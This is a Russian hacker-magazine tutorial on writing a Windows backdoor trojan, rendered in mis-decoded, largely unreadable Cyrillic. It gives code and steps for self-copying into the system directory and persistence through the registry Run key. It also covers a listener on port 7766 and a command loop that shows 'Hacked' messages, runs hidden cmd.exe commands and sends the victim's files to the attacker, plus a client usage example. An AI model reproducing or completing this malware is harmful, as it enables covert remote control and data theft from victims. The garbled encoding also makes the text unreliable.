БОЕВЫЕ РОБОТЫ:

Êîäèíã
ÏÈØÅÌ ÑÂÎÅÃÎ ÒÐÎßÍÀ
GorluM (gorlum@xakepru)
ïàðàìåòðà, íè îäèí èç êîòîðûõ íàì íå ïîíàäîáèòñÿ, ïîýòîìó íàçâàíèå
ïàðàìåòðîâ ÿ íå ïèøó, à ïèøó òîëüêî èõ òèï
int WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int){
Ïåðâûì äåëîì ìû äîëæíû ñêîïèðîâàòü ñåáÿ â ñèñòåìíóþ äèðåêòîðèþ Ñîçäàåì
äâà ñòðîêîâûõ áóôåðà ïî 256 ñèìâîëîâ êàæäûé Ïåðâûé äëÿ õðàíåíèÿ ïîëíîãî
ïóòè ñ èìåíåì çàïóùåííîãî òðîÿíà (íå áóäåøü æå ðàñïðîñòðàíÿòü trojanexe), à
âòîðîé äëÿ íîâîãî ïóòè â ñèñòåìíîé äèðåêòîðèè Ïîëíûé ïóòü ñ èìåíåì ôàéëà
íàì ïðèäåòñÿ ïîëó÷èòü ñ ïîìîùüþ ôóíêöèè ÿäðà GetModuleFileName Ïåðåäàâàÿ
â ïåðâîì ïàðàìåòðå GetModuleHandle(0), ìû ñîîáùàåì ôóíêöèè îïèñàòåëü
ìîäóëÿ çàïóùåííîãî ôàéëà, âî âòîðîì è òðåòüåì ïàðàìåòðå áóôåð, â êîòîðûé
ïèñàòü ïóòü è åå ðàçìåð ñîîòâåòñòâåííî Ïóòü, êóäà áóäåì êîïèðîâàòü, ìû
ïîëó÷èì ñ ïîìîùüþ ôóíêöèè GetSystemDirectory, ñîîáùèâ åé â ïàðàìåòðàõ
âòîðîé áóôåð è ñêëåèâ åå ñ íîâûì èìåíåì ôàéëà â ôîðìàòå «\\trojanexe»
Âûçûâàåì CopyFile ñ íàøèìè, óæå çàïîëíåííûìè áóôåðàìè â ïåðâûõ äâóõ
ïàðàìåòðàõ è true â òðåòüåì, åñëè ìû íå õîòèì ïåðåçàïèñûâàòü ñóùåñòâóþùèé
ôàéë, èëè false, åñëè õîòèì
Äàëüøå ñ ïîìîùüþ ôóíêöèé ðàáîòû ñ ðååñòðîì ìû çàïèøåì â
SOFTWARE\Microsoft\Windows\CurrentVersion\Run ñâîé ñâåæåñêîïèðîâàííûé
ôàéë, ÷òîáû îí ãðóçèëñÿ ïðè êàæäîì çàïóñêå ñèñòåìû Òðîÿí çàãðóæåí è ãîòîâ ê
êðóãîâîé îáîðîíå (àòàêå :))
Ñëóøàåì ïîðò
Íàêîíåö ìû äîáðàëèñü äî ñàìîãî âàæíîãî ó÷àñòêà êîäà, áåç êîòîðîãî òðîÿí - ýòî
íå òðîÿí Ó÷àñòêà, îòâå÷àþùåãî çà îáìåí äàííûìè æåðòâû ñ òîáîé :) Êàê òû
óæå, íàâåðíîå, çíàåøü èç ñòàòåé Horrific`à, äëÿ èñïîëüçîâàíèÿ ôóíêöèé
winsock`à åãî ñíà÷àëà òðåáóåòñÿ èíèöèàëèçèðîâàòü  ñÿõ ýòî äåëàåòñÿ
ñëåäóþùèì êîäîì:
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
Ïîñëå èíèöèàëèçàöèè ìîæíî ïðèñòóïàòü ê ðàáîòå ñ ñîêåòàìè Äëÿ íà÷àëà ìû
ñîçäàäèì ñîêåò listet_Sock ñ ïîìîùüþ ôóíêöèè socket Âî âòîðîì ïàðàìåòðå
ýòîé ôóíêöèè ìû ïåðåäàäèì åé defined çíà÷åíèå SOCK_STREAM, ÷òî îçíà÷àåò,
÷òî ìû áóäåì èñïîëüçîâàòü äëÿ ñâÿçè ïîòîêîâûé ïðîòîêîë TCP Åñëè áû ìû
õîòåëè þçàòü UDP, òî ïåðåäàëè áû SOCK_DGRAM
SOCKET listet_Sock = socket(AF_INET,SOCK_STREAM,0);
Òåïåðü ìû äîëæíû çàäàòü ñâîéñòâà ýòîãî ñîêåòà, òî åñòü íîìåð îòêðûâàåìîãî
íàìè ïîðòà, âîçìîæíûå äëÿ ñîåäèíåíèÿ ip-àäðåñà è ñåìåéñòâî ñîêåòîâ,
ïàðàìåòð AF_INET, êîòîðûé óêàçûâàåò íà òî, ÷òî ìû ðàáîòàåì ñ èíòåðíåòîì Äëÿ
ýòèõ ñâîéñòâ ñóùåñòâóåò ñòðóêòóðà sockaddr_in, êîòîðóþ ìû è çàïîëíèì
//ñîçäàåì ïåðåìåííóþ ñî ñâîéñòâàìè
SOCKADDR_IN addr_Sock;
addr_Socksin_family = AF_INET;
//ñîîáùàåì, ÷òî ê íàì ìîãóò êîííåêòèòüñÿ ñ ëþáîãî àäðåñà
addr_Socksin_addrs_addr = htonl(INADDR_ANY);
//ãîâîðèì, ÷òî áóäåì ñëóøàòü ïîðò 7766, ìîæåøü íàïèñàòü ëþáîé
addr_Socksin_port = htons(7766);
Åñëè áû ìû õîòåëè îãðàíè÷èòü âîçìîæíûå êîííåêòû ê íàøåìó òðîÿíó êàêèì-òî
ip, òî íàïèñàëè áû inet_addr(«127001») âìåñòî INADDR_ANY inet_addr - î÷åíü
ïîëåçíàÿ ôóíêöèÿ, êîòîðàÿ íàâåðíÿêà òåáå åùå ïðèãîäèòñÿ äëÿ
ïðîãðàììèðîâàíèÿ ñîêåòîâ Îíà ïðåâðàùàåò ñòðîêó ñ àäðåñîì â ôîðìàòå
«abcd» â long ÷èñëî, ÷òîáû åãî âïîñëåäñòâèè ìîæíî áûëî èñïîëüçîâàòü äëÿ
ñâîéñòâ è òï Ôóíêöèÿ htons ïðåâðàùàåò öåëîå ÷èñëî â óäîáî÷èòàåìîå
ìàøèíîé, è åñëè ïðèñâîèòü addr_Socksin_port íå ôóíêöèþ htons, à òîëüêî åå
ïàðàìåòð 7766, òî ïðîãðàììà îòêðîåò ëþáîé ïîðò, íî òîëüêî íå òîò, ÷òî ìû
õîòèì =)
Ñ ïîìîùüþ ôóíêöèè bind ìû ñêëåèì ñîçäàííûé íàìè ñîêåò listet_Sock è åãî
ñâîéñòâà addr_Sock (â óìíûõ êíèæêàõ ýòè ñâîéñòâà çîâóòñÿ ëîêàëüíûì àäðåñîì)
Åñëè ôóíêöèÿ âåðíåò çíà÷åíèå, îòëè÷íîå îò íóëÿ, çíà÷èò, ïðîèçîøëà êàêàÿ-òî
îøèáêà, èëè ïîðò óæå çàíÿò äðóãîé ïðîãðàììîé, èëè åùå ÷òî-òî  ñëó÷àå
îøèáêè òðîÿí çàêðîåòñÿ ñ ïîìîùüþ êîìàíäû return 0, êîòîðàÿ ãîâîðèò
ïðîãðàììå, ÷òîáû òåêóùàÿ ôóíêöèÿ âåðíóëà çíà÷åíèå 0 è âûðóáèëàñü, à òàê êàê
ó íàñ ôóíêöèÿ îäíà, òî îíà è âûðóáàåòñÿ âìåñòå ñ íàøèì áåäíûì ñåðâåðîì
if(bind(listet_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct
sockaddr))) return 0;
À ýòîé ñòðîêîé ìû, íàêîíåö, íà÷íåì ÑËÓØÀÒÜ ïîðò, òî åñòü îòêðîåì åãî äëÿ
ñîåäèíåíèé Åñëè áûòü òî÷íûì, äëÿ îäíîãî ñîåäèíåíèÿ  ïåðâîì ïàðàìåòðå ìû
ïåðåäàåì ïåðåìåííóþ-ñîêåò, êîòîðûé îòêðûâàåì, à âî âòîðîì - êîëè÷åñòâî
âîçìîæíûõ êîííåêòîâ, íàì áîëüøå îäíîãî íå íàäî Êàê è â ñëó÷àå ñ bind`îì, ïðè
îøèáêå îòêëþ÷àåì òðîÿí
if(listen(listet_Sock, 1)) return 0;
Ôóíêöèè òðîÿíà
Äëÿ òîãî ÷òîáû íà÷èíàòü ïðèíèìàòü êîìàíäû îò êëèåíòà ê ñåðâåðó, ïîòðåáóåòñÿ
ñíà÷àëà ðàçðåøèòü êëèåíòó ïðèêîííåêòèòüñÿ ôóíêöèåé accept Ýòà ôóíêöèÿ
æäåò, ïîêà êòî-íèáóäü íå ïðèñîåäèíèòñÿ ê ñîçäàííîìó íàìè ñîêåòó, è
âîçâðàùàåò íîâûé ñîêåò, èç êîòîðîãî ìû è áóäåì ïîëó÷àòü êîìàíäû ×òîáû
ïîñëå ïåðâîãî æå äèñêîííåêòà òðîÿí ó íàñ íå ïàäàë, ìû äîëæíû çàñóíóòü ýòó
ôóíêöèþ â áåñêîíå÷íûé öèêë while(true)  ýòîì öèêëå ìû áóäåì æäàòü
êîííåêòà, çàòåì çàïóñêàòü íîâûé áåñêîíå÷íûé öèêë (àâòîðû BO2K íàçâàëè ýòîò
öèêë CommandLoop) äëÿ îáðàáîòêè ïîëó÷àåìûõ îò êëèåíòà êîìàíä, èç êîòîðîãî
âûéäåì òîëüêî â ñëó÷àå îøèáêè ïðè ïðèåìå äàííûõ
1) Æäåì êîííåêòà
2) Îáðàáàòûâàåì êîìàíäû
3) Ïðè îøèáêå çàêðûâàåì ñóùåñòâóþùèå ñîåäèíåíèÿ
4) Âîçâðàùàåìñÿ ê ï1
Êîìàíäû áóäóò ïðèíèìàòüñÿ â âèäå ñòðîêè, ïåðâûé ñèìâîë êîòîðîé -
ñîáñòâåííî, âûáîð ôóíêöèè, âòîðîé - ðàçäåëèòåëü, ëþáîé, à îñòàëüíûå - ýòî
àðãóìåíò, êîòîðûé ìû ïåðåäàåì ôóíêöèè íàøåãî òðîÿíà Âîò ïðèìåð êîìàíäû,
ïîñûëàåìîé êëèåíòîì: «m Ïðèâåò» Òðîÿí ñíà÷àëà ïðèìåò ïåðâûå äâà ñèìâîëà
è ïðîâåðèò, åñòü ëè ó íàñ ôóíêöèÿ, íàçíà÷åííàÿ íà ñèìâîë m (ó íàñ ýòî âûâîä
ñîîáùåíèÿ) Çàòåì ïðèìåò åùå 126 ñèìâîëîâ è çàãðóçèò íàøó ôóíêöèþ Òî åñòü
òðîÿí â öèêëå ïðèíèìàåò ñ ïîìîùüþ ôóíêöèè recv èç ñîçäàííîãî ïîñëå êîííåêòà
ñîêåòà hack_Sock äàííûå äâà ðàçà, â ïåðâûé áóôåð 2 áàéòà, è âî âòîðîé 126 Â
ñëó÷àå, åñëè äàííûå ïîëó÷èòü íå óäàëîñü, CommandLoop çàâåðøèòñÿ êîìàíäîé
break, ñîêåò çàêðîåòñÿ è ñåðâåð ñíîâà áóäåò æäàòü êîííåêòà
Ðàñïèøåì ôóíêöèè òðîÿíà ïîäðîáíåå:
Åñëè ïåðâûé ñèìâîë m, òî âûïîëíÿåòñÿ ôóíêöèÿ MessageBox(0,buf,»Hacked
=)»,0), ãäå buf - ýòî íàø âòîðîé áóôåð
Äåìîíñòðàöèÿ ðàáîòû êîíñîëüíîãî êëèåíòà
Åñëè ïåðâûé ñèìâîë e, òî ñòðîêà buf âûïîëíÿåòñÿ ÷åðåç cmdexe c ïàðàìåòðîì
/c, äëÿ ýòîãî çàïóñêàåòñÿ ôóíêöèÿ ñ òàêèìè ïàðàìåòðàìè
ShellExecuteA(NULL, «open», «cmdexe», buf_command, NULL, SW_HIDE), ãäå
buf_command - ýòî íàø áóôåð ñ äîáàâëåííîé âïåðåä ñòðîêîé «/c «, à SW_HIDE
óêàçûâàåò íà òî, ÷òî æåðòâà íå äîëæíà âèäåòü ïîÿâëÿþùóþñÿ êîíñîëü
È ïîñëåäíÿÿ, ñàìàÿ ñëîæíàÿ ôóíêöèÿ, îñóùåñòâëÿþùàÿ ñêà÷èâàíèå ôàéëà ñ
ìàøèíû æåðòâû Îíà âûïîëíÿåòñÿ â ñëó÷àå, åñëè ïåðâûé ñèìâîë - ýòî f Ñíà÷àëà
îíà îòêðûâàåò ôàéë òîëüêî äëÿ ÷òåíèÿ ôóíêöèåé CreateFile À çàòåì, åñëè ôàéë
ñóùåñòâóåò, â öèêëå ïîñûëàåò ïî 4096 áàéòîâ ýòîãî ôàéëà Åñëè æå áàéòîâ
îòîñëàíî ìåíüøå, çíà÷èò, ýòî êîíåö ôàéëà è öèêë ïðåðûâàåòñÿ À ñèãíàëîì äëÿ
êëèåíòà, ÷òî ôàéë çàêîí÷èëñÿ, áóäåò äèñêîííåêò
Êëèåíò
 ðîëè êëèåíòà ìîæåò âûñòóïàòü ëþáàÿ ïðîãðàììà, êîòîðàÿ ìîæåò ïîñëàòü ïàêåò
çàäàííîãî íàìè ôîðìàòà æåðòâå Òî åñòü ñêîííåêòèòüñÿ ñ ñåðâàêîì è âûïîëíèòü
êîìàíäó òèïà: send(sock,»m Hello»,128,0) Íî íà âñÿêèé ñëó÷àé ÿ íàïèñàë êëèåíò,
êîòîðûé ðàáîòàåò èç êîìàíäíîé ñòðîêè, è, ïî èäåå, åãî ëåãêî ïåðåíåñòè íà
ëþáóþ ïëàòôîðìó Ïîñûëêà êîìàíäû òðîÿíó îñóùåñòâëÿåòñÿ êîìàíäîé clientexe
[ip æåðòâû] [ôóíêöèÿ] [àðãóìåíò], íàïðèìåð:
client 127001 m Ïðèâåò
88